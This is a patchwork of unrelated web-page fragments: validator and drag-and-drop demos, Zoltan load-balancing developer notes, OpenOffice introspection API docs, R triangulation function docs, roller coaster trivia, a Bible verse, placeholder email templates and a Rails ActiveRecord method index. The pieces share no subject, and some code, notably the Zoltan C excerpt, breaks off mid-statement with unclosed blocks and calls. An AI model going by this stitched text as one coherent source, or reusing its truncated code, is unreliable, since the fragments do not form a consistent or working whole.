Parsley
Tweet
Home
Examples
Documentation
Download
Help
Annotated source
Tests
Craft your own validators demo
<< Back to examples
—
Try it on CodePen
Please enter a palindrome:
Please enter a multiple of 3:
Please provide a file smaller than 42Kb:


Last activity: 5 mins ago
What are your thoughts about the current pump price of petroleum products?
In this conversation
+ 5
Last activity: 5 mins ago
What are your thoughts about the current pump price of petroleum products?
In this conversation
+ 5
Last activity: 5 mins ago
What are your thoughts about the current pump price of petroleum products?
In this conversation
+ 5


In this area, specify whether you want IntelliJ IDEA to ask you for confirmation when invoking the commands
selected below.
(
- The availability of commands depends on a particular version control system.
- Use controls in this area to restore the original settings if you have suppressed showing operation-specific
option dialog boxes by selecting the Do not show this dialog in the future
checkbox.
)


Created By Tanuj Bhatia
Hosted With ❤ on Github A flappy bird clone with random gravity flips.
Nyan cat original art by : Christopher Torres (@prguitarman) Music Originally by : Bunnymajs @ youtube.com


|
/* Allocate RCB data structure for this Zoltan structure. * If the previous data structure still exists, free the Dots first; * the other fields can be reused. */ if (zz->LB.Data_Structure == NULL) { rcb = (RCB_STRUCT *) ZOLTAN_MALLOC(sizeof(RCB_STRUCT)); zz->LB.Data_Structure = (void *) rcb; rcb->Tree_Ptr = (struct rcb_tree *) ZOLTAN_MALLOC(zz->Num_Proc*sizeof(struct rcb_tree)); rcb->Box = (struct rcb_box *) ZOLTAN_MALLOC(sizeof(struct rcb_box)); } else { rcb = (RCB_STRUCT *) zz->LB.Data_Structure; ZOLTAN_FREE(&(rcb->Dots)); } |
The data needed for the algorithm is collected through calls to the
query functions registered by the application. Algorithms should test the
query function pointers for NULL and report errors when needed functions
are not registered. The appropriate query functions can be called to build
the algorithm's data structures up front, or they can be called during
the algorithm's execution to gather data only as it is needed. The figure
below shows how the Dots data structure needed by RCB is built.
The call to zz->Get_Num_Obj invokes an ZOLTAN_NUM_OBJ_FN
query function to determine the number of objects on the processor.
Space for the Dots data structure is allocated through calls to
ZOLTAN_MALLOC, ZOLTAN_MALLOC_GID_ARRAY,
and ZOLTAN_MALLOC_LID_ARRAY. The Dots information is obtained
through a call to the Zoltan service function Zoltan_Get_Obj_List; this
function calls either an ZOLTAN_OBJ_LIST_FN
or an ZOLTAN_FIRST_OBJ_FN/ZOLTAN_NEXT_OBJ_FN
pair to get the object IDs and weights. The data for each
Dot is
set in the function initialize_dot, which includes calls to zz->Get_Geom,
an ZOLTAN_GEOM_FN
query function.
|
/* * Allocate space for objects. Allow extra space * for objects that are imported to the processor. */ *num_obj = zz->Get_Num_Obj(zz->Get_Num_Obj_Data, &ierr);
*max_obj = (int)(1.5 * *num_obj) + 1;
if (!(*global_ids) || (zz->Num_LID && !(*local_ids)) ||
!(*dots)) {
if (*num_obj > 0) { if (wgtflag) { /*
objs_wgt = (float *) ZOLTAN_MALLOC((*num_obj)*sizeof(float));
/*
Zoltan_Get_Obj_List(zz, *global_ids, *local_ids, wgtflag,
ierr = initialize_dot(zz, *global_ids, *local_ids, *dots,
ZOLTAN_FREE(&objs_wgt);
|
The data structures pointed to by zz->LB.Data_Structure will be freed at some point, and may be copied.
A function that frees these structures and resets zz->LB.Data_Structure to NULL should be written. The function should be called when the load-balancing algorithm exits, either normally or due to an error condition. The function Zoltan_RCB_Free_Structure in rcb/rcb_util.c may be used as an example.
If your algorithm uses the KEEP_CUTS parameter, a function that copies one zz->LB.Data_Structure to another is required. This is particularly important for C++, which may create temporary objects at runtime by invoking a copy operator (which will call your copy function). It is a convenience for C applications, which may wish to copy one Zoltan_Struct to another. See the function Zoltan_RCB_Copy_Structure in rcb/rcb_util.c for an example.


Outcrop demo
R&D: selecting part of an image for display
Edit
Reset to original position
|
Run tests
Please enable JavaScript to view the
comments powered by Disqus.
comments powered by
Disqus


Let’s find out the fastest roller coaster in the world. You can go to Abu Dhabi’s Formula One theme park. You need to check the Formula Rossa ride. You will be thrilled when you ride it for it has the top speed at 149 miles per hour.
Do you know the longest roller coaster in the world? It is situated at Nagashima Spa Land in Japan. This longest roller coaster has the track at 8133 feet. You have to ride the steel dragon 2000.
The tallest roller coaster in the world has the height at 465 feet. It is the Kingda Ka roller coaster. The location of this roller coaster is at Six Flags great Adventure Park.
There is a new world record for the people who ride the roller coaster in nude condition. There were 102 people riding roller coaster in Adventure Island in Essex in 2010. All of them were nude.
The first roller coaster made of steel was the Matterhorn bobsled roller coaster. It was the first tubular steel roller coaster ever made in 1959. The roller coaster was created for Disneyland in Anaheim, California.


Project Euler.net Problem 1 Problem 2 Problem 3 Problem 4 Problem 5 Problem 6 Problem 7 Problem 8 Problem 9 Problem 10 Problem 11 Problem 12 Problem 13 Problem 14 Problem 15


Magnetism starts and stops when entering and exiting the clear area.
Magnetism starts when entering the darker area, and stops when exiting the clear area.


New Stars and Demos
Below we list the new stars and demos by domain.
Up to: What's New in Ptolemy 0.7.2 -
Back to: New Work in Ptolemy 0.7.2 -
Forward to: Ptolemy 0.7.2 Release Notes
Copyright © 1999, The Regents of the University of California.
All rights reserved.
Last updated 10/26/99,
comments to ptolemy@ptolemy.eecs.berkeley.edu.


Projects Guide
ERROR: No Projects Guide is installed.
For more information, see the Ready Set STEM™ website.


Project PROJECT
| KEY | |
| NAME | |
| NETWORK_ID | |
Topology
Agents connections:
| STP_ID | |||
| ID | |||
| ALIAS | |||
| VLANS | |||
| ID | |||
| ALIAS | |||
| VLANS | |||
New Test Case
Project Test Cases:
| Date | Info | Status | Results | ||
|---|---|---|---|---|---|
| TIME | CERTIFICATION | TESTS_COUNT | STATUS | N/A | RESULTS |
Run Certification Test Case
| Certification for: | |


The Custom element Calendar can show the week of the year. To display the week of the year, you need set the showWeekNumbers property to true. By default, the Custome element Calendar does not display the week of the year.


{{ object.top }}
{{ object.left }}
Attach to any DOM element and start dragging it around.
{{ codeExample }}


| Methods' Details |
getSuppliedMethodConcepts
| long |
| getSuppliedMethodConcepts(); |
- Description
- returns information about which method concepts described in
the MethodConcept constants group are supported
by this XIntrospectionAccess implementation.
The minimum supported concepts should be:
- MethodConcept::PROPERTY,
- MethodConcept::LISTENER,
- MethodConcept::ENUMERATION,
- MethodConcept::NAMECONTAINER
- MethodConcept::INDEXCONTAINER;
- Returns
- zero or more constants of the MethodConcept
constants group combined by an arithmetical or-operation.
|
|
getSuppliedPropertyConcepts
| long |
| getSuppliedPropertyConcepts(); |
- Description
- returns information about which property concepts described in
the PropertyConcept constants group are supported
by this XIntrospectionAccess implementation.
The minimum supported concepts should be:
- PropertyConcept::PROPERTYSET,
- PropertyConcept::ATTRIBUTES and
- PropertyConcept::METHODS.
- Returns
- zero or more constants of the PropertyConcept
constants group.combined by an arithmetical or-operation.
|
|
getProperty
- Description
- returns information about a property if a property with
the demanded name exists and if it accords to one of the
demanded PropertyConcepts. The information
is provided as Property struct.
- Returns
- A Property struct providing
information about the demanded property,
if a corresponding property exists.
- Parameter aName
- the name of the property.
- Parameter nPropertyConcepts
- zero or more constants of the
PropertyConcept constants group combined by an arithmetical
or-operation.
- Throws
- NoSuchElementException
when a property with the demanded name doesn't exist
or if it accords to a wrong
PropertyConcept.
|
|
hasProperty
| boolean |
| hasProperty( |
[in] string |
aName, |
| [in] long |
nPropertyConcepts ); |
- Description
- allows to ask if a property with the demanded name exists
and if it accords to one of the demanded
PropertyConcepts.
- Returns
- true if the property exists and accords to one of
the demanded PropertyConcepts, otherwise
false is returned.
- Parameter aName
- the name of the property.
- Parameter nPropertyConcepts
- zero or more constants of the
PropertyConcept constants group combined by an arithmetical
or-operation.
|
|
getProperties
| sequence< Property > |
| getProperties( |
[in] long |
nPropertyConcepts ); |
- Description
- returns a sequence of properties of the introspected object
- Returns
- all properties of the introspected object which accord
to the demanded PropertyConcepts.
- Parameter nPropertyConcepts
- zero or more constants of the
PropertyConcept constants group combined by an arithmetical
or-operation.
|
|
getMethod
- Description
- returns information about a method if a method with
the demanded name exists and if it accords to one of
the demanded MethodConcepts. The information is
provided as
::com::sun::star::reflection::XIdlMethod.
- Returns
- A
::com::sun::star::reflection::XIdlMethod providing information about and
access to the demanded method if a corresponding
method exists.
- Parameter aName
- the name of the method.
- Parameter nMethodConcepts
- zero or more constants of the
MethodConcept constants group combined by an arithmetical
or-operation.
- Throws
- NoSuchElementException
when a method with the demanded name doesn't exist
or if it accords to a wrong MethodConcept.
|
|
hasMethod
| boolean |
| hasMethod( |
[in] string |
aName, |
| [in] long |
nMethodConcepts ); |
- Description
- allows to ask if a method with the demanded name exists
and if it accords to one of the demanded
MethodConcepts.
- Returns
- true if the method exists and accords to one of
the demanded MethodConcepts, otherwise
false is returned.
- Parameter aName
- the name of the method.
- Parameter nMethodConcepts
- zero or more constants of the
MethodConcept constants group combined by an arithmetical
or-operation.
|
|
getMethods
- Description
- returns a sequence of methods of the introspected object.
- Returns
- all methods of the introspected object which accord
to the demanded MethodConcepts.
- Parameter nMethodConcepts
- zero or more constants of the
MethodConcept constants group combined by an arithmetical
or-operation.
|
|
getSupportedListeners
| sequence< type > |
| getSupportedListeners(); |
- Description
- returns the listener types supported by the introspected
object.
If the introspected object has the methods
addFooListener( XFooListener xFoo ) and
removeFooListener( XFooListener xFoo )
the type of XFooListener will be one of the elements
in the returned sequence.
- Returns
- a sequence of the types of listener interfaces
which are supported by the introspected object.
|
|
| queryAdapter
|
Copyright © 2013, The Apache Software Foundation, Licensed under the Apache License, Version 2.0. Apache, the Apache feather logo, Apache OpenOffice and OpenOffice.org are trademarks of The Apache Software Foundation. Other names may be trademarks of their respective owners.


Change Password
Enter your username
Enter your old Password
Enter your new Password
Change Now
Cancel
Back To Login!


{% extends "layout.html" %} {% block style %} body{ color:red; } html, body { width: 100%; height:100%; } body { background: linear-gradient(-45deg, #ee7752, #e73c7e, #23a6d5, #23d5ab); background-size: 400% 400%; animation: gradient 15s ease infinite; } @keyframes gradient { 0% { background-position: 0% 50%; } 50% { background-position: 100% 50%; } 100% { background-position: 0% 50%; } } {% endblock %} {% block body %}
See Reps and sets below for muscle building and Strength building
See Reps and sets below for muscle building and Strength building
See Reps and sets below for muscle building and Strength building
See Reps and sets below for muscle building and Strength building


Chapter 4 Localization Methods
4.1 Primitive: Weighted Average
Description
This is simply a weighted average based on number of beeps on a node and max. RSSI values.
Usage
weighted_average(freq, beeps, node, node_health=NULL, MAX_NODES=0, tag_id=NULL, calibrate = NULL, keep_cols = NULL, latlng = TRUE, minRSSI = 0)
Arguments
- freq: this is the interval a localization should be summarized over, and is in the form of an interval (e.g.
"3 min"
)
- beep_data: raw beep data frame (e.g.
all_data[[1]][[1]]
from example.R)
- node: read in node file
- node_health: node health data frame
- MAX_NODES: the max number of nodes that should contribute to a localization. default = 0 means all nodes
- tag_id: a vector of tags to calculate locations for
- calibrate: the session ID if you want to calculate over the entire duration a tag was left at a point
- keep_cols: if there are valuable columns that shouldn’t be dropped
- latlng: BUGGY DO NOT USE YET
- minRSSI: the minimum RSSI of data used for the location estimate
Value
A SpatialPointsDataFrame of estimated locations
4.2 Triangulation Functions
4.2.1 Data Prep
Description
This function prepares beep data to be input into the triangulation.
Usage
Arguments
- beep_data: beep data frame
- nodes: node file
- freq: interval to calculate locations over
Value
A data frame that can be used as input to the triangulate()
function
4.2.2 Calibration
Description
You can go this route if you e.g. left tags at a known location in your grid for a period of time. This function preps the beep data frame for input into the triangulation function, and also implements a calibration by fitting an asymptotic function for RSSI and distance.
The calibration data frame needs the following column names:
- pt: this can be any identifier for a given location used in the calibration
- session_id: this can be any identifier for the time period the tag was at this spot
- start: the beginning of the time interval when the tag was placed at the point, in POSIXct UTC
- end: the end of the time interval when the tag was placed at the point, in POSIXct UTC
- TagId: the tag ID left at the point
- TagLat: latitude of the point
- TagLng: longitude of the point
Usage
Arguments
The option calibrate = TRUE
is the default, and means that summary stats will be calculated over the entire time interval for each calibration location. Otherwise, pass calibrate = FALSE, freq = <interval>
for the time interval of interest.
- beep_data: beep data frame
- calibration: data frame described above
- nodes: node file
- calibrate: whether or not the entire time interval a tag was at a point should be used for the estimation
- freq: alternatively, specify an interval for location estimation
- max_nodes: how many nodes should contribute? default = 0 means all nodes
Value
This function returns a list, the items of which are…
- data frame to be input into the triangulation
- a (see below)
- S (see below)
- K (see below)
4.2.3 Custom Distance Function
Description
You can pass a custom distance function to the triangulation, in the form of a string, that represents the relationship between RSSI and distance for your system. The string that you pass is the right side of the formula, where the left side is distance. The string needs to contain x
which refers to RSSI. An example of an asymptotic relationship can be generated by the following function and the output of the calibrate function:
Usage
Arguments
These are fitted coefficients from an SSasymp()
model relating distance to RSSI
- a = R0 e.g. the 2nd item returned from the calibrate function
- S = exp(lrc) e.g. the 3rd item returned from the calibrate function
- K = Aysm e.g. the 4th item returned from the calibrate function
Value
Inspect that string if you would like to instead create your own (e.g. for tag-wise calibration)
4.2.4 Triangulation
Description
This performs the triangulation with an input data frame and defined distance relationship. You could e.g. fit a relationship between distance and RSSI based on your calibration work.
Usage
Arguments
- all_data: a formatted data frame, such as the output from
loc_prep()
or the data frame returned bycalibrate()
- rssi: the minimum RSSI threshold to incorporate data into the location calculation
- node: the maximum number of nodes to contribute to the calculation
- distance: a string representing the right side of a formula relating RSSI to distance, where distance is the left side and RSSI is
x
in the string
Value
A data frame with estimated locations and error


Add paragragh text here
Add paragraph text here
Add paragraph text here
Add text here to describe above mentioned feature
Add text here to describe above mentioned feature
Add text here to describe above mentioned feature
Add text here to describe above mentioned feature
Add Text Here
Add Text Here
Add paragraph text here


--- title: 'Portfolio Optimization in R ' author: John Houghton date: '2018-11-20' slug: portfolio-optimization-in-r categories: [] tags: [] description: 'Optimizing & Rebalancing Financial Portfolios in R using tidyquant & PerformanceAnalytics' summary: "A custom summary of my post." featuredpath: /articles/2018-11-20-portfolio-optimization-in-r_files/portfolio_optimization_shiny_app.png featured: "" featuredalt: "" ---
I’ve always wanted to build out some tools to start managing my portfolio. I was recently inspired by Matt Dancho @ business-science.io, an author of the tidyquant package, who wrote an article describing his initial interest in R for investment portfolio optimization and his quick success at quickly turning around his performance through quantitative analytics. Now that he’s written tidyquant, financial analysis and portfolio optimization is much more user friendly, so I thought I’d give it a go.
I have a shiny application that’s currently in development (as of Nov-2018), which implements a narrow optimization strategy that’s suited for my needs. I’m hoping to find time to build it out to handle more generalized needs in the near future. Check it out!
Here’s a Link to my app on shinyapps.io: https://superjohnca.shinyapps.io/portfolio_optimization/
{{


Leviticus 6:2
If a soul sin, and commit a trespass against the LORD, and lie unto his neighbor in that which was delivered him to keep, or in fellowship, or in a thing taken away by violence, or hath deceived his neighbor;


Engaging preheader text goes here!
View in browser
A meaningful and engaging title goes here
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam euismod vehicula nunc, at mattis libero faucibus ac.
Find out more
A meaningful and engaging title goes here
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam euismod vehicula nunc, at mattis libero faucibus ac.
Find out more
A meaningful and engaging title goes here
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam euismod vehicula nunc, at mattis libero faucibus ac.
Find out more
A meaningful and engaging title goes here
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam euismod vehicula nunc, at mattis libero faucibus ac.
Find out more
Footer info,
Company © 2013 etc.
Unsubscribe
|
Contact


.primary_key
[ GitHub ]9 10 11
# File 'activerecord/lib/active_record/internal_metadata.rb', line 9
def primary_key "key" end
123456789_123456789_123456789_123456789_123456789_
This class is used to create a table that keeps track of values and keys such as which environment migrations were run in.
CALL_COMPILABLE_REGEXP, NAME_COMPILABLE_REGEXP
AttrNames, BLACKLISTED_CLASS_METHODS
| primary_key | Defines the primary key field -- can be overridden in subclasses. |
| primary_key= | Sets the name of the primary key column. |
| locking_column | The version column used for optimistic locking. |
| locking_column= | Set the column to use for optimistic locking. |
| locking_enabled? | Returns true if the |
| ignore_default_scope=, ignore_default_scope?, | |
| scope_attributes? | Are there attributes associated with this scope? |
| current_scope, current_scope=, | |
| scope_attributes | Collects attributes from scopes that should be applied when creating an AR instance for the particular class this is called on. |
| scope_attributes? | Are there attributes associated with this scope? |
| abstract_class | Set this to true if this is an abstract class (see |
| abstract_class? | Returns whether this class is an abstract class or not. |
| descends_from_active_record? | Returns |
| finder_needs_type_condition? |
| inheritance_column | Defines the name of the table column which will store the class name on single-table inheritance situations. |
| inheritance_column= | Sets the value of inheritance_column. |
| sequence_name, | |
| sequence_name= | Sets the name of the sequence to use when generating ids to the given
value, or (if the value is |
| table_name | Guesses the table name (in forced lower-case) based on the name of the class in the inheritance hierarchy descending directly from Base. |
| table_name= | Sets the table name explicitly. |
| prefetch_primary_key? | Determines if the primary key values should be selected from their corresponding sequence before the insert statement. |
| table_exists? | Indicates whether the table associated with this class exists. |
| schema_loaded? |
| average, calculate, count, create_with, delete, delete_all, destroy, destroy_all, distinct, eager_load, except, fifth, find, find_by, find_each, find_in_batches, find_or_create_by, find_or_initialize_by, first, first_or_create, first_or_initialize, forty_two, fourth, from, group, having, ids, in_batches, includes, joins, last, left_joins, left_outer_joins, limit, lock, maximum, merge, minimum, none, offset, or, order, pluck, preload, readonly, references, reorder, rewhere, second, second_to_last, select, sum, take, third, third_to_last, unscope, update, update_all, where |
| connection_specification_name | Return the specification name from the current class or its parent. |
| connection_specification_name=, | |
| connected? | Returns |
Creates an internal metadata table with columns key
and value
| generate_unique_secure_token, | |
| has_secure_token | Example using |
| reflect_on_aggregation | Returns the AggregateReflection object for the named |
| reflect_on_all_aggregations | Returns an array of AggregateReflection objects for all the aggregations in the class. |
| reflect_on_all_associations | Returns an array of AssociationReflection objects for all the associations in the class. |
| reflect_on_all_autosave_associations | Returns an array of AssociationReflection objects for all associations
which have |
| reflect_on_association | Returns the AssociationReflection object for the |
| reflections | Returns a ::Hash of name of the reflection as the key and an AssociationReflection as the value. |
| _reflect_on_association, clear_reflections_cache |
| no_touching | Lets you selectively disable calls to `touch` for the duration of a block. |
| after_commit | This callback is called after a record has been created, updated, or destroyed. |
| after_create_commit | Shortcut for |
| after_destroy_commit | Shortcut for |
| after_rollback | This callback is called after a create, update, or destroy are rolled back. |
| after_update_commit | Shortcut for |
| transaction | See the ConnectionAdapters::DatabaseStatements#transaction API docs. |
| assert_valid_transaction_action, set_options_for_callbacks!, after_commit_without_transaction_enrollment, after_rollback_without_transaction_enrollment, before_commit, before_commit_without_transaction_enrollment |
| composed_of | Adds reader and writer methods for manipulating a value object:
|
| reader_method, writer_method |
| accepts_nested_attributes_for | Defines an attributes writer for the specified association(s). |
| generate_association_writer | Generates a writer method for this association. |
| add_autosave_association_callbacks | Adds validation and save callbacks for the association as specified by the
|
| define_autosave_validation_callbacks, define_non_cyclic_method |
| has_secure_password | Adds methods to set and authenticate against a BCrypt password. |
| belongs_to | Specifies a one-to-one association with another class. |
| has_and_belongs_to_many | Specifies a many-to-many relationship with another class. |
| has_many | Specifies a one-to-many association. |
| has_one | Specifies a one-to-one association with another class. |
| serialize | If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object, then specify the name of that attribute using this method and it will be handled automatically. |
| dangerous_attribute_method?, define_method_attribute, | |
| quoted_primary_key | Returns a quoted version of the primary key name, used to construct SQL statements. |
| suppress_composite_primary_key, get_primary_key, reset_primary_key |
| define_method_attribute | We want to generate the methods via module_eval rather than define_method, because define_method is slower on dispatch. |
| attribute_method? | Returns |
| attribute_names | Returns an array of column names as strings if it's not an abstract class and table exists. |
| column_for_attribute | Returns the column object for the named attribute. |
| dangerous_class_method? | A class method is 'dangerous' if it is already (re)defined by Active Record, but not by any ancestors. |
| has_attribute? | Returns true if the given attribute exists, otherwise false. |
| instance_method_already_implemented? | Raises an DangerousAttributeError exception when an Active
Record method is defined in the model, otherwise |
| class_method_defined_within?, | |
| dangerous_attribute_method? | A method name is 'dangerous' if it is already (re)defined by Active Record, but not by any ancestors. |
| define_attribute_methods | Generates all the attribute related methods for columns in the database accessors, mutators and query methods. |
| inherited, initialize_generated_modules, method_defined_within?, undefine_attribute_methods |
| alias_attribute | Allows you to make aliases for attributes. |
| attribute_alias | Returns the original name for the alias |
| attribute_alias? | Is |
| attribute_method_affix | Declares a method available for all attributes with the given prefix and suffix. |
| attribute_method_prefix | Declares a method available for all attributes with the given prefix. |
| attribute_method_suffix | Declares a method available for all attributes with the given suffix. |
| define_attribute_method | Declares an attribute that should be prefixed and suffixed by ::ActiveModel::AttributeMethods. |
| define_attribute_methods | Declares the attributes that should be prefixed and suffixed by ::ActiveModel::AttributeMethods. |
| undefine_attribute_methods | Removes all the previously dynamically defined methods from the class. |
| attribute_method_matchers_cache | The methods |
| attribute_method_matchers_matching, | |
| define_proxy_call | Define a method `name` in `mod` that dispatches to `send` using the given `extra` args. |
| instance_method_already_implemented?, generated_attribute_methods |
| after_validation | Defines a callback that will get called right after validation. |
| before_validation | Defines a callback that will get called right before validation. |
| reset_locking_column | Reset the column used for optimistic locking back to the |
| update_counters | Make sure the lock version column gets updated when counters are updated. |
| inherited | We need to apply this decorator here, rather than on module inclusion. |
| decorate_attribute_type | This method is an internal API used to create class macros such as
|
| decorate_matching_attribute_types | This method is an internal API used to create higher level features like time zone aware attributes. |
| load_schema! |
| attribute | Defines an attribute with a type on this model. |
| define_attribute | This is the low level API which sits beneath |
| define_default_attribute, load_schema! |
| decrement_counter | Decrement a numeric field by one, via a direct SQL update. |
| increment_counter | Increment a numeric field by one, via a direct SQL update. |
| reset_counters | Resets one or more counter caches to their correct value using an SQL count query. |
| update_counters | A generic "counter updater" implementation, intended primarily to be used
by |
| touch_updates |
| validates_absence_of | Validates that the specified attributes are not present (as defined by Object#present?). |
| validates_associated | Validates whether the associated object or objects are all valid. |
| validates_length_of | Validates that the specified attributes match the length restrictions supplied. |
| validates_presence_of | Validates that the specified attributes are not blank (as defined by Object#blank?), and, if the attribute is an association, that the associated object is not marked for destruction. |
| validates_size_of | |
| validates_uniqueness_of | Validates whether the value of the specified attributes are unique across the system. |
| validates_absence_of | Validates that the specified attributes are blank (as defined by Object#blank?). |
| validates_acceptance_of | Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). |
| validates_confirmation_of | Encapsulates the pattern of wanting to validate a password or email address field with a confirmation. |
| validates_exclusion_of | Validates that the value of the specified attribute is not in a particular enumerable object. |
| validates_format_of | Validates whether the value of the specified attribute is of the correct form, going by the regular expression provided. |
| validates_inclusion_of | Validates whether the value of the specified attribute is available in a particular enumerable object. |
| validates_length_of | Validates that the specified attributes match the length restrictions supplied. |
| validates_numericality_of | Validates whether the value of the specified attribute is numeric by trying
to convert it to a float with |
| validates_presence_of | Validates that the specified attributes are not blank (as defined by Object#blank?). |
| validates_size_of | |
| _merge_attributes |
| define_model_callbacks | define_model_callbacks accepts the same options |
| _define_after_model_callback, _define_around_model_callback, _define_before_model_callback |
| attribute_method? | Returns |
| clear_validators! | Clears all of the validators and validations. |
| validate | Adds a validation method or block to the class. |
| validates | This method is a shortcut to all default validators and any custom validator classes ending in 'Validator'. |
| validates! | This method is used to define validations that cannot be corrected by end users and are considered exceptional. |
| validates_each | Validates each attribute against a block. |
| validates_with | Passes the record off to the class or classes specified and allows them to add errors based on more complex conditions. |
| validators | List all validators that are being used to validate the model using
|
| validators_on | List all validators that are being used to validate a specific attribute. |
| _parse_validates_options, | |
| _validates_default_keys | When creating custom validators, it might be useful to be able to specify additional default keys. |
| inherited | Copy validators on inheritance. |
| to_param | Defines your model's |
| _to_partial_path | Provide a class level cache for |
| expand_hash_conditions_for_aggregates | Accepts a hash of SQL conditions and replaces those attributes that correspond to a #composed_of relationship with their expanded aggregate attribute values. |
| quote_bound_value, raise_if_bind_arity_mismatch, replace_bind_variable, replace_bind_variables, replace_named_bind_variables, | |
| sanitize_conditions | Alias for Sanitization::ClassMethods#sanitize_sql. |
| sanitize_sql | |
| sanitize_sql_array | Accepts an array of conditions. |
| sanitize_sql_for_assignment | Accepts an array, hash, or string of SQL conditions and sanitizes them into a valid SQL fragment for a SET clause. |
| sanitize_sql_for_conditions | Accepts an array or string of SQL conditions and sanitizes them into a valid SQL fragment for a WHERE clause. |
| sanitize_sql_for_order | Accepts an array, or string of SQL conditions and sanitizes them into a valid SQL fragment for an ORDER clause. |
| sanitize_sql_hash_for_assignment | Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause. |
| sanitize_sql_like | Sanitizes a |
| all | Returns an Relation scope object. |
| scope | Adds a class method for retrieving and querying objects. |
| valid_scope_name?, default_scoped |
| unscoped | Returns a scope for the model without the previously set scopes. |
| build_default_scope, | |
| default_scope | Use this macro in your model to set a default scope for all operations on the model. |
| evaluate_default_scope | The ignore_default_scope flag is used to prevent an infinite recursion situation where a default scope references a scope which has a default scope which references a scope... |
| before_remove_const |
| base_class | Returns the class descending directly from Base, or an abstract class, if any, in the inheritance hierarchy. |
| inherited, | |
| new | Determines if one of the attributes passed in is the inheritance column, and if the inheritance column is attr accessible, it initializes an instance of the given subclass instead of the base class. |
| sti_name, | |
| compute_type | Returns the class type of the record using the current module as a prefix. |
| discriminate_class_for_record | Called by |
| find_sti_class, | |
| subclass_from_attributes | Detect the subclass from the inheritance column of attrs. |
| type_condition, using_single_table_inheritance? |
| column_defaults | Returns a hash where the keys are column names and the values are default values when instantiating the Active Record object for this table. |
| column_names | Returns an array of column names as strings. |
| columns, | |
| content_columns | Returns an array of column objects where the primary id, all columns ending in "_id" or "_count", and columns used for single table inheritance have been removed. |
| next_sequence_value | Returns the next value that will be used as the primary key on an insert statement. |
| quoted_table_name | Returns a quoted version of the table name, used to construct SQL statements. |
| reset_column_information | Resets all the cached information about columns, which will cause them to be reloaded on the next request. |
| type_for_attribute | Returns the type of the attribute with the given name, after applying all modifiers. |
| compute_table_name | Computes and returns a table name according to default conventions. |
| load_schema, load_schema!, reload_schema_from_cache, | |
| undecorated_table_name | Guesses the table name, but does not decorate it with prefix and suffix information. |
| _default_attributes, attribute_types, attributes_builder, columns_hash, full_table_name_prefix, full_table_name_suffix, reset_sequence_name, | |
| reset_table_name | Computes the table name, (re)sets it internally, and returns it. |
| yaml_encoder |
| attr_readonly | Attributes listed as readonly will be used to create a new record but update operations will ignore these fields. |
| readonly_attributes | Returns an array of all the attributes that have been specified as readonly. |
| create | Creates an object (or multiple objects) and saves it to the database, if validations pass. |
| create! | Creates an object (or multiple objects) and saves it to the database, if validations pass. |
| instantiate | Given an attributes hash, |
| discriminate_class_for_record | Called by |
| === | Overwrite the default class equality method to provide support for association proxies. |
| allocate, generated_association_methods, | |
| inspect | Returns a string like 'Post(id:integer, title:string, body:text)'. |
| cached_find_by_statement, relation, table_metadata, arel_attribute, | |
| arel_engine | Returns the Arel engine. |
| arel_table | Returns an instance of |
| find, find_by, find_by!, inherited, initialize_find_by_cache, initialize_generated_modules, predicate_builder, type_caster |
| render_bind, | |
| collecting_queries_for_explain | Executes the block with the collect flag enabled. |
| exec_explain | Makes the adapter execute EXPLAIN for the tuples of queries and bindings. |
| i18n_scope | Set the i18n scope to overwrite ::ActiveModel. |
| lookup_ancestors | Set the lookup ancestors for ::ActiveModel. |
| human_attribute_name | Transforms attribute names into a more human format, such as "First name" instead of "first_name". |
| i18n_scope | Returns the |
| lookup_ancestors | When localizing a string, it goes through the lookup returned by this method, which is used in ActiveModel::Name#human, ActiveModel::Errors#full_messages and ActiveModel::Translation#human_attribute_name. |
| any?, | |
| count_by_sql | Returns the result of an SQL statement that should only include a COUNT(*) in the SELECT part. |
| exists?, fifth!, find_by!, | |
| find_by_sql | Executes a custom SQL query against your database and returns all the results. |
| find_or_create_by!, first!, first_or_create!, forty_two!, fourth!, last!, many?, none?, one?, second!, second_to_last!, take!, third!, third_to_last! |
| cache | Enable the query cache within the block if Active Record is configured. |
| uncached | Disable the query cache within the block if Active Record is configured. |
| clear_active_connections!, clear_all_connections!, clear_reloadable_connections!, | |
| connection | Returns the connection currently associated with the class. |
| connection_config | Returns the configuration of the associated connection as a hash: |
| connection_pool, | |
| establish_connection | Establishes the connection to the database. |
| remove_connection, retrieve_connection, clear_cache!, | |
| mysql2_connection | Establishes a connection to the database that's used by all Active Record objects. |
| postgresql_connection | Establishes a connection to the database that's used by all Active Record objects. |
| sqlite3_connection |
| benchmark | Allows you to measure the execution time of a block in a template and records the result to the log. |
| model_name | Returns an ::ActiveModel::Name object for module. |
| #destroyed_by_association | Returns the association for the parent being destroyed. |
| #destroyed_by_association= | Records the association that is being destroyed and destroying this record in the process. |
| #changed_for_autosave? | Returns whether or not this record has been changed in any way (including whether any of its nested autosave associations are likewise changed). |
| #marked_for_destruction? | Returns whether or not this record will be destroyed as part of the parent's save transaction. |
| #nested_records_changed_for_autosave? | go through nested autosave associations that are loaded in memory (without loading any new ones), and return true if is changed for autosave. |
| #has_changes_to_save? | Alias for `changed?`. |
| #saved_changes? | Did the last call to `save` have any changes to change? |
| #attribute_aliases, #attribute_aliases?, #attribute_method_matchers, #attribute_method_matchers?, | |
| #changed? | Returns |
| #id | Returns the primary key value. |
| #id= | Sets the primary key value. |
| #id? | Queries the primary key value. |
| #destroyed? | Returns true if this object has been destroyed, otherwise returns false. |
| #new_record? | Returns true if this object hasn't been saved yet -- that is, a record for the object doesn't exist in the database yet; otherwise, returns false. |
| #persisted? | Returns true if the record is persisted, i.e. |
| #frozen? | Returns |
| #readonly? | Returns |
| #custom_inspect_method_defined? |
| #as_json | Returns a hash representing the model. |
| #from_json | Sets the model |
| #serializable_hash | Returns a serialized hash of your object. |
| #read_attribute_for_serialization | Hook method defining how an attribute value should be retrieved for serialization. |
| #serializable_add_includes | Add associations specified via the |
| #add_to_transaction | Add the record to the current transaction so that the |
| #rollback_active_record_state! | Reset id and @new_record if the transaction rolls back. |
| #transaction | See Transactions::ClassMethods for detailed documentation. |
| #with_transaction_returning_status | Executes |
| #clear_transaction_record_state | Clear the new record state and id of a record. |
